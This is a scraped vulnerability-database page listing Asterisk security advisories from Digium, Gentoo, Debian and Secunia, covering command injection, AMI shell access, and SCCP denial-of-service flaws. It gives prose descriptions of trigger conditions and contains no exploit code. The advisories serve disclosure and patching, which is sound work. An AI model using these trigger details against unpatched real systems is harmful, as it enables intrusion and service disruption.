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251 vulnerabilities by digium
VAR-201709-0712
Vulnerability from variot - Updated: 2025-04-20 23:25An Improper Neutralization of Special Elements used in an OS Command issue was discovered in Digium Asterisk GUI 2.1.0 and prior. An OS command injection vulnerability has been identified that may allow the execution of arbitrary code on the system through the inclusion of OS commands in the URL request of the program. The Asterisk GUI is a framework for configuring graphical user interfaces. Digium Asterisk GUI is prone to an OS command-injection vulnerability because it fails to properly sanitize user-supplied input. Successfully exploiting this issue may allow an attacker to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Asterisk GUI 2.1.0 and prior versions are vulnerable
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VAR-201706-0901
Vulnerability from variot - Updated: 2025-04-20 23:25A memory exhaustion vulnerability exists in Asterisk Open Source 13.x before 13.15.1 and 14.x before 14.4.1 and Certified Asterisk 13.13 before 13.13-cert4, which can be triggered by sending specially crafted SCCP packets causing an infinite loop and leading to memory exhaustion (by message logging in that loop). Asterisk Open Source and Certified Asterisk Contains a resource exhaustion vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Multiple Asterisk products are prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause a denial-of-service condition
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VAR-201208-0619
Vulnerability from variot - Updated: 2025-04-11 23:08Incomplete blacklist vulnerability in main/manager.c in Asterisk Open Source 1.8.x before 1.8.15.1 and 10.x before 10.7.1, Certified Asterisk 1.8.11 before 1.8.11-cert6, Asterisk Digiumphones 10.x.x-digiumphones before 10.7.1-digiumphones, and Asterisk Business Edition C.3.x before C.3.7.6 allows remote authenticated users to execute arbitrary commands by leveraging originate privileges and providing an ExternalIVR value in an AMI Originate action. Asterisk is prone to a security-bypass vulnerability that affects the manager interface. An attacker can exploit this issue to bypass certain security restrictions and execute shell commands within the context of the affected application. Asterisk Project Security Advisory - AST-2012-012
Product Asterisk
Summary Asterisk Manager User Unauthorized Shell Access
Nature of Advisory Permission Escalation
Susceptibility Remote Authenticated Sessions
Severity Minor
Exploits Known No
Reported On July 13, 2012
Reported By Zubair Ashraf of IBM X-Force Research
Posted On August 30, 2012
Last Updated On August 30, 2012
Advisory Contact Matt Jordan < mjordan AT digium DOT com >
CVE Name CVE-2012-2186
Description The AMI Originate action can allow a remote user to specify
information that can be used to execute shell commands on
the system hosting Asterisk. This can result in an unwanted
escalation of permissions, as the Originate action, which
requires the "originate" class authorization, can be used
to perform actions that would typically require the
"system" class authorization. Previous attempts to prevent
this permission escalation (AST-2011-006, AST-2012-004)
have sought to do so by inspecting the names of
applications and functions passed in with the Originate
action and, if those applications/functions matched a
predefined set of values, rejecting the command if the user
lacked the "system" class authorization. As reported by IBM
X-Force Research, the "ExternalIVR" application is not
listed in the predefined set of values. The solution for
this particular vulnerability is to include the
"ExternalIVR" application in the set of defined
applications/functions that require "system" class
authorization.
Unfortunately, the approach of inspecting fields in the
Originate action against known applications/functions has a
significant flaw. The predefined set of values can be
bypassed by creative use of the Originate action or by
certain dialplan configurations, which is beyond the
ability of Asterisk to analyze at run-time. Attempting to
work around these scenarios would result in severely
restricting the applications or functions and prevent their
usage for legitimate means. As such, any additional
security vulnerabilities, where an application/function
that would normally require the "system" class
authorization can be executed by users with the "originate"
class authorization, will not be addressed. Proper system configuration can limit the impact
of such scenarios.
The next release of each version of Asterisk will contain,
in addition to the fix for the "ExternalIVR" application,
an updated README-SERIOUSLY.bestpractices.txt file.
Resolution Asterisk now checks for the "ExternalIVR" application when
processing the Originate action.
Additionally, the README-SERIOUSLY.bestpractices.txt file
has been updated. It is highly recommended that, if AMI is
utilized with accounts that have the "originate" class
authorization, Asterisk is run under a defined user that
does not have root permissions. Accounts with the
"originate" class authorization should be treated in a
similar manner to those with the "system" class
authorization. All Rights Reserved.
Permission is hereby granted to distribute and publish this advisory in its original, unaltered form. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201209-15
http://security.gentoo.org/
Severity: Normal Title: Asterisk: Multiple vulnerabilities Date: September 26, 2012 Bugs: #425050, #433750 ID: 201209-15
Synopsis
Multiple vulnerabilities have been found in Asterisk, the worst of which may allow execution of arbitrary code.
Background
Asterisk is an open source telephony engine and toolkit.
Affected packages
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/asterisk < 1.8.15.1 >= 1.8.15.1
Description
Multiple vulnerabilities have been found in Asterisk:
- An error in manager.c allows shell access (CVE-2012-2186).
- An error in Asterisk could cause all RTP ports to be exhausted (CVE-2012-3812).
- A double-free error could occur when two parties attempt to manipulate the same voicemail account simultaneously (CVE-2012-3863).
- Asterisk does not properly implement certain ACL rules (CVE-2012-4737).
Impact
A remote, authenticated attacker could execute arbitrary code with the privileges of the process, cause a Denial of Service condition, or bypass outbound call restrictions.
Workaround
There is no known workaround at this time.
Resolution
All Asterisk users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/asterisk-1.8.15.1"
References
[ 1 ] CVE-2012-2186 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2186 [ 2 ] CVE-2012-3812 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3812 [ 3 ] CVE-2012-3863 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3863 [ 4 ] CVE-2012-4737 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4737
Availability
This GLSA and any updates to it are available for viewing at the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201209-15.xml
Concerns?
Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.
License
Copyright 2012 Gentoo Foundation, Inc; referenced text belongs to its owner(s).
The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
Debian Security Advisory DSA-2550-1 security@debian.org http://www.debian.org/security/ Moritz Muehlenhoff September 18, 2012 http://www.debian.org/security/faq
Package : asterisk Vulnerability : several Problem type : remote Debian-specific: no CVE ID : CVE-2012-2186 CVE-2012-3812 CVE-2012-3863 CVE-2012-4737
Several vulnerabilities were discovered in Asterisk, a PBX and telephony toolkit, allowing privilege escalation in the Asterisk Manager, denial of service or privilege escalation.
More detailed information can be found in the Asterisk advisories: http://downloads.asterisk.org/pub/security/AST-2012-010.html http://downloads.asterisk.org/pub/security/AST-2012-011.html http://downloads.asterisk.org/pub/security/AST-2012-012.html http://downloads.asterisk.org/pub/security/AST-2012-013.html
For the stable distribution (squeeze), these problems have been fixed in version 1:1.6.2.9-2+squeeze7.
For the testing distribution (wheezy) and the unstable distribution (sid), these problems have been fixed in version 1:1.8.13.1~dfsg-1.
We recommend that you upgrade your asterisk packages.
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux)
iEYEARECAAYFAlBYrLoACgkQXm3vHE4uylqDBgCfTQnp2Z1XZSgJkg1L84SDPnjK muwAoOINdMCYMfcEc8spGQ7wrCWPKGaR =FRM+ -----END PGP SIGNATURE-----
. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released. Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
TITLE: Debian update for asterisk
SECUNIA ADVISORY ID: SA50687
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/50687/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=50687
RELEASE DATE: 2012-09-19
DISCUSS ADVISORY: http://secunia.com/advisories/50687/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/50687/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50687
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Debian has issued an update for asterisk.
For more information: SA49814 SA50456
SOLUTION: Apply updated packages via the apt-get package manager.
ORIGINAL ADVISORY: DSA-2550-1: http://www.debian.org/security/2012/dsa-2550
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
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Show details on source website
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"data": "Incomplete blacklist vulnerability in main/manager.c in Asterisk Open Source 1.8.x before 1.8.15.1 and 10.x before 10.7.1, Certified Asterisk 1.8.11 before 1.8.11-cert6, Asterisk Digiumphones 10.x.x-digiumphones before 10.7.1-digiumphones, and Asterisk Business Edition C.3.x before C.3.7.6 allows remote authenticated users to execute arbitrary commands by leveraging originate privileges and providing an ExternalIVR value in an AMI Originate action. Asterisk is prone to a security-bypass vulnerability that affects the manager interface. \nAn attacker can exploit this issue to bypass certain security restrictions and execute shell commands within the context of the affected application. Asterisk Project Security Advisory - AST-2012-012\n\n Product Asterisk \n Summary Asterisk Manager User Unauthorized Shell Access \n Nature of Advisory Permission Escalation \n Susceptibility Remote Authenticated Sessions \n Severity Minor \n Exploits Known No \n Reported On July 13, 2012 \n Reported By Zubair Ashraf of IBM X-Force Research \n Posted On August 30, 2012 \n Last Updated On August 30, 2012 \n Advisory Contact Matt Jordan \u003c mjordan AT digium DOT com \u003e \n CVE Name CVE-2012-2186 \n\n Description The AMI Originate action can allow a remote user to specify \n information that can be used to execute shell commands on \n the system hosting Asterisk. This can result in an unwanted \n escalation of permissions, as the Originate action, which \n requires the \"originate\" class authorization, can be used \n to perform actions that would typically require the \n \"system\" class authorization. Previous attempts to prevent \n this permission escalation (AST-2011-006, AST-2012-004) \n have sought to do so by inspecting the names of \n applications and functions passed in with the Originate \n action and, if those applications/functions matched a \n predefined set of values, rejecting the command if the user \n lacked the \"system\" class authorization. As reported by IBM \n X-Force Research, the \"ExternalIVR\" application is not \n listed in the predefined set of values. The solution for \n this particular vulnerability is to include the \n \"ExternalIVR\" application in the set of defined \n applications/functions that require \"system\" class \n authorization. \n \n Unfortunately, the approach of inspecting fields in the \n Originate action against known applications/functions has a \n significant flaw. The predefined set of values can be \n bypassed by creative use of the Originate action or by \n certain dialplan configurations, which is beyond the \n ability of Asterisk to analyze at run-time. Attempting to \n work around these scenarios would result in severely \n restricting the applications or functions and prevent their \n usage for legitimate means. As such, any additional \n security vulnerabilities, where an application/function \n that would normally require the \"system\" class \n authorization can be executed by users with the \"originate\" \n class authorization, will not be addressed. Proper system configuration can limit the impact \n of such scenarios. \n \n The next release of each version of Asterisk will contain, \n in addition to the fix for the \"ExternalIVR\" application, \n an updated README-SERIOUSLY.bestpractices.txt file. \n\n Resolution Asterisk now checks for the \"ExternalIVR\" application when \n processing the Originate action. \n \n Additionally, the README-SERIOUSLY.bestpractices.txt file \n has been updated. It is highly recommended that, if AMI is \n utilized with accounts that have the \"originate\" class \n authorization, Asterisk is run under a defined user that \n does not have root permissions. Accounts with the \n \"originate\" class authorization should be treated in a \n similar manner to those with the \"system\" class \n authorization. All Rights Reserved. \n Permission is hereby granted to distribute and publish this advisory in its\n original, unaltered form. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory GLSA 201209-15\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n http://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: Normal\n Title: Asterisk: Multiple vulnerabilities\n Date: September 26, 2012\n Bugs: #425050, #433750\n ID: 201209-15\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities have been found in Asterisk, the worst of\nwhich may allow execution of arbitrary code. \n\nBackground\n==========\n\nAsterisk is an open source telephony engine and toolkit. \n\nAffected packages\n=================\n\n -------------------------------------------------------------------\n Package / Vulnerable / Unaffected\n -------------------------------------------------------------------\n 1 net-misc/asterisk \u003c 1.8.15.1 \u003e= 1.8.15.1\n\nDescription\n===========\n\nMultiple vulnerabilities have been found in Asterisk:\n\n* An error in manager.c allows shell access (CVE-2012-2186). \n* An error in Asterisk could cause all RTP ports to be exhausted\n (CVE-2012-3812). \n* A double-free error could occur when two parties attempt to\n manipulate the same voicemail account simultaneously (CVE-2012-3863). \n* Asterisk does not properly implement certain ACL rules\n (CVE-2012-4737). \n\nImpact\n======\n\nA remote, authenticated attacker could execute arbitrary code with the\nprivileges of the process, cause a Denial of Service condition, or\nbypass outbound call restrictions. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll Asterisk users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=net-misc/asterisk-1.8.15.1\"\n\nReferences\n==========\n\n[ 1 ] CVE-2012-2186\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2186\n[ 2 ] CVE-2012-3812\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3812\n[ 3 ] CVE-2012-3863\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3863\n[ 4 ] CVE-2012-4737\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4737\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n http://security.gentoo.org/glsa/glsa-201209-15.xml\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2012 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2550-1 security@debian.org\nhttp://www.debian.org/security/ Moritz Muehlenhoff\nSeptember 18, 2012 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : asterisk\nVulnerability : several\nProblem type : remote\nDebian-specific: no\nCVE ID : CVE-2012-2186 CVE-2012-3812 CVE-2012-3863 CVE-2012-4737\n\nSeveral vulnerabilities were discovered in Asterisk, a PBX and telephony \ntoolkit, allowing privilege escalation in the Asterisk Manager, denial of\nservice or privilege escalation. \n\nMore detailed information can be found in the Asterisk advisories:\nhttp://downloads.asterisk.org/pub/security/AST-2012-010.html \nhttp://downloads.asterisk.org/pub/security/AST-2012-011.html \nhttp://downloads.asterisk.org/pub/security/AST-2012-012.html \nhttp://downloads.asterisk.org/pub/security/AST-2012-013.html \n\nFor the stable distribution (squeeze), these problems have been fixed in\nversion 1:1.6.2.9-2+squeeze7. \n\nFor the testing distribution (wheezy) and the unstable distribution (sid), \nthese problems have been fixed in version 1:1.8.13.1~dfsg-1. \n\nWe recommend that you upgrade your asterisk packages. \n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.12 (GNU/Linux)\n\niEYEARECAAYFAlBYrLoACgkQXm3vHE4uylqDBgCfTQnp2Z1XZSgJkg1L84SDPnjK\nmuwAoOINdMCYMfcEc8spGQ7wrCWPKGaR\n=FRM+\n-----END PGP SIGNATURE-----\n\n\n. ----------------------------------------------------------------------\n\nThe final version of the CSI 6.0 has been released. \nFind out why this is not just another Patch Management solution: http://secunia.com/blog/325/\n\n----------------------------------------------------------------------\n\nTITLE:\nDebian update for asterisk\n\nSECUNIA ADVISORY ID:\nSA50687\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/50687/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=50687\n\nRELEASE DATE:\n2012-09-19\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/50687/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/50687/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=50687\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nDebian has issued an update for asterisk. \n\nFor more information:\nSA49814\nSA50456\n\nSOLUTION:\nApply updated packages via the apt-get package manager. \n\nORIGINAL ADVISORY:\nDSA-2550-1:\nhttp://www.debian.org/security/2012/dsa-2550\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/vulnerability_intelligence/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n",
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VAR-201206-0140
Vulnerability from variot - Updated: 2025-04-11 21:48chan_skinny.c in the Skinny (aka SCCP) channel driver in Certified Asterisk 1.8.11-cert before 1.8.11-cert2 and Asterisk Open Source 1.8.x before 1.8.12.1 and 10.x before 10.4.1 allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) by closing a connection in off-hook mode. Asterisk is prone to a remote denial-of-service vulnerability. Attackers can exploit this issue to trigger a NULL-pointer dereference and cause a system crash, denying service to legitimate users. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201206-05
http://security.gentoo.org/
Severity: Normal Title: Asterisk: Multiple vulnerabilities Date: June 21, 2012 Bugs: #413353, #418189, #418191 ID: 201206-05
Synopsis
Multiple vulnerabilities in Asterisk might allow remote attackers to execute arbitrary code.
Background
Asterisk is an open source telephony engine and toolkit.
Affected packages
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/asterisk < 1.8.12.1 >= 1.8.12.1
Description
Multiple vulnerabilities have been found in Asterisk:
- An error in manager.c allows shell access through the MixMonitor application, GetVar, or Status (CVE-2012-2414).
- An error in chan_skinny.c could cause a heap-based buffer overflow (CVE-2012-2415).
- An error in chan_sip.c prevents Asterisk from checking if a channel exists before connected line updates (CVE-2012-2416).
- An error in chan_iax2.c may cause an invalid pointer to be called (CVE-2012-2947).
- chan_skinny.c contains a NULL pointer dereference (CVE-2012-2948).
Impact
A remote attacker could execute arbitrary code with the privileges of the process or cause a Denial of Service condition.
Workaround
There is no known workaround at this time.
Resolution
All Asterisk users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/asterisk-1.8.12.1"
References
[ 1 ] CVE-2012-2414 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2414 [ 2 ] CVE-2012-2415 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2415 [ 3 ] CVE-2012-2416 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2416 [ 4 ] CVE-2012-2947 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2947 [ 5 ] CVE-2012-2948 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2948
Availability
This GLSA and any updates to it are available for viewing at the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201206-05.xml
Concerns?
Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.
License
Copyright 2012 Gentoo Foundation, Inc; referenced text belongs to its owner(s).
The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. When an SCCP client
closes its connection to the server, a pointer in a
structure is set to Null. If the client was not in the
on-hook state at the time the connection was closed, this
pointer is later dereferenced. "Off hook") to crash
the server. Successful exploitation of this vulnerability
would result in termination of the server, causing denial
of service to legitimate users."
Resolution The pointer to the device in the structure is now checked
before it is dereferenced in the channel event callbacks and
message handling functions.
Affected Versions
Product Release Series
Asterisk Open Source 1.8.x All Versions
Asterisk Open Source 10.x All Versions
Certified Asterisk 1.8.11-cert 1.8.11-cert1
Corrected In
Product Release
Asterisk Open Source 1.8.12.1, 10.4.1
Certified Asterisk 1.8.11-cert2
Patches
SVN URL Revision
http://downloads.asterisk.org/pub/security/AST-2012-008-1.8.diff v1.8
http://downloads.asterisk.org/pub/security/AST-2012-008-10.diff v10
http://downloads.asterisk.org/pub/security/AST-2012-008-1.8.11-cert.diff v1.8.11-cert
Links https://issues.asterisk.org/jira/browse/ASTERISK-19905
Asterisk Project Security Advisories are posted at
http://www.asterisk.org/security
This document may be superseded by later versions; if so, the latest
version will be posted at
http://downloads.digium.com/pub/security/AST-2012-008.pdf and
http://downloads.digium.com/pub/security/AST-2012-008.html
Revision History
Date Editor Revisions Made
05/25/2012 Matt Jordan Initial Release
Asterisk Project Security Advisory - AST-2012-008
Copyright (c) 2012 Digium, Inc. All Rights Reserved.
Permission is hereby granted to distribute and publish this advisory in its original, unaltered form.
Full-Disclosure - We believe in it.
In addition, it was discovered that Asterisk does not set the alwaysauthreject option by default in the SIP channel driver. This allows remote attackers to observe a difference in response behavior and check for the presence of account names. (CVE-2011-2666) System administrators concerned by this user enumerating vulnerability should enable the alwaysauthreject option in the configuration. We do not plan to change the default setting in the stable version (Asterisk 1.6) in order to preserve backwards compatibility.
For the testing distribution (wheezy) and the unstable distribution (sid), this problem has been fixed in version 1:1.8.13.0~dfsg-1.
We recommend that you upgrade your asterisk packages.
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux)
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Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . ----------------------------------------------------------------------
Become a PSI 3.0 beta tester! Test-drive the new beta version and tell us what you think about its extended automatic update function and significantly enhanced user-interface. Download it here! http://secunia.com/psi_30_beta_launch
TITLE: Asterisk Two Denial of Service Vulnerabilities
SECUNIA ADVISORY ID: SA49303
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/49303/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=49303
RELEASE DATE: 2012-05-30
DISCUSS ADVISORY: http://secunia.com/advisories/49303/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/49303/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=49303
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Two vulnerabilities have been reported in Asterisk, which can be exploited by malicious people to cause a DoS (Denial of Service).
1) An error in IAX2 channel driver within the "handle_request_update()" function (channels/chan_sip.c) when placing an established call on hold can be exploited to cause a crash via specially crafted packets.
Successful exploitation of this vulnerability requires that the setting mohinterpret=passthrough is set and that the call is placed on hold without a suggested music-on-hold class name.
2) An error in SCCP (Skinny) channel driver (channels/chan_skinny.c) when handling termination of a client's connection can be exploited to cause a crash by closing a connection to the server in certain call states.
The vulnerabilities are reported in versions 1.8.11-cert prior to 1.8.11-cert2, 1.8.x prior to 1.8.12.1, and 10.x prior to 10.4.1.
SOLUTION: Update to a fixed version.
Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
PROVIDED AND/OR DISCOVERED BY: The vendor credits: 1) mgrobecker 2) Christoph Hebeisen
ORIGINAL ADVISORY: http://downloads.asterisk.org/pub/security/AST-2012-007.html http://downloads.asterisk.org/pub/security/AST-2012-008.html
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
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Show details on source website
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"data": "chan_skinny.c in the Skinny (aka SCCP) channel driver in Certified Asterisk 1.8.11-cert before 1.8.11-cert2 and Asterisk Open Source 1.8.x before 1.8.12.1 and 10.x before 10.4.1 allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) by closing a connection in off-hook mode. Asterisk is prone to a remote denial-of-service vulnerability. \nAttackers can exploit this issue to trigger a NULL-pointer dereference and cause a system crash, denying service to legitimate users. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory GLSA 201206-05\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n http://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: Normal\n Title: Asterisk: Multiple vulnerabilities\n Date: June 21, 2012\n Bugs: #413353, #418189, #418191\n ID: 201206-05\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities in Asterisk might allow remote attackers to\nexecute arbitrary code. \n\nBackground\n==========\n\nAsterisk is an open source telephony engine and toolkit. \n\nAffected packages\n=================\n\n -------------------------------------------------------------------\n Package / Vulnerable / Unaffected\n -------------------------------------------------------------------\n 1 net-misc/asterisk \u003c 1.8.12.1 \u003e= 1.8.12.1\n\nDescription\n===========\n\nMultiple vulnerabilities have been found in Asterisk:\n\n* An error in manager.c allows shell access through the MixMonitor\n application, GetVar, or Status (CVE-2012-2414). \n* An error in chan_skinny.c could cause a heap-based buffer overflow\n (CVE-2012-2415). \n* An error in chan_sip.c prevents Asterisk from checking if a channel\n exists before connected line updates (CVE-2012-2416). \n* An error in chan_iax2.c may cause an invalid pointer to be called\n (CVE-2012-2947). \n* chan_skinny.c contains a NULL pointer dereference (CVE-2012-2948). \n\nImpact\n======\n\nA remote attacker could execute arbitrary code with the privileges of\nthe process or cause a Denial of Service condition. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll Asterisk users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=net-misc/asterisk-1.8.12.1\"\n\nReferences\n==========\n\n[ 1 ] CVE-2012-2414\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-2414\n[ 2 ] CVE-2012-2415\n 